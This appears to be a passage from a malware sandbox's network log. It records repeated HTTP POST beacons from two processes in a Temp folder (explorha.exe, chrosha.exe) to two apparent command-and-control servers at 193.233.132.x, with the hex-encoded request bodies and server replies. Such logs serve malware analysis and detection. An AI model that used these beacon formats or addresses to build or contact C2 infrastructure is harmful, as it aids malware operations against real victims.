Apr 19, 2024 03:34:07.539735079 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:07.795268059 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
902	192.168.2.5	50752	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:07.710942984 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:07.959954023 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
903	192.168.2.5	50753	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:08.153892994 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:08.398806095 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
904	192.168.2.5	50754	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:08.218807936 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:08.475684881 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
905	192.168.2.5	50755	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:08.650383949 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:08.901345015 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
906	192.168.2.5	50756	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:08.836236954 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:09.086503029 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
907	192.168.2.5	50757	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:09.257383108 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:09.498687029 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
908	192.168.2.5	50758	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:09.350935936 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:09.602930069 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
909	192.168.2.5	50759	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:09.752937078 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:10.004782915 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
910	192.168.2.5	50760	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:09.961931944 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:10.204410076 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
911	192.168.2.5	50761	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:10.371602058 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:10.622262001 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
912	192.168.2.5	50762	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:10.446630955 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:10.688627005 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
913	192.168.2.5	50763	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:10.872971058 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:11.124805927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
914	192.168.2.5	50764	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:11.052632093 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:11.297044992 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
915	192.168.2.5	50765	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:11.246938944 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:11.494575024 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
916	192.168.2.5	50766	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:11.550946951 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:11.800662041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
917	192.168.2.5	50767	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:11.755424976 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:12.011430025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
918	192.168.2.5	50768	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:12.166714907 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:12.414271116 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
919	192.168.2.5	50769	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:12.366102934 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:12.609262943 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
920	192.168.2.5	50770	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:12.663254023 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:12.909758091 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
921	192.168.2.5	50771	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:12.859205008 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:13.108330965 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
922	192.168.2.5	50772	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:13.269102097 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:13.510598898 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
923	192.168.2.5	50773	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:13.475799084 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:13.720532894 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
924	192.168.2.5	50774	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
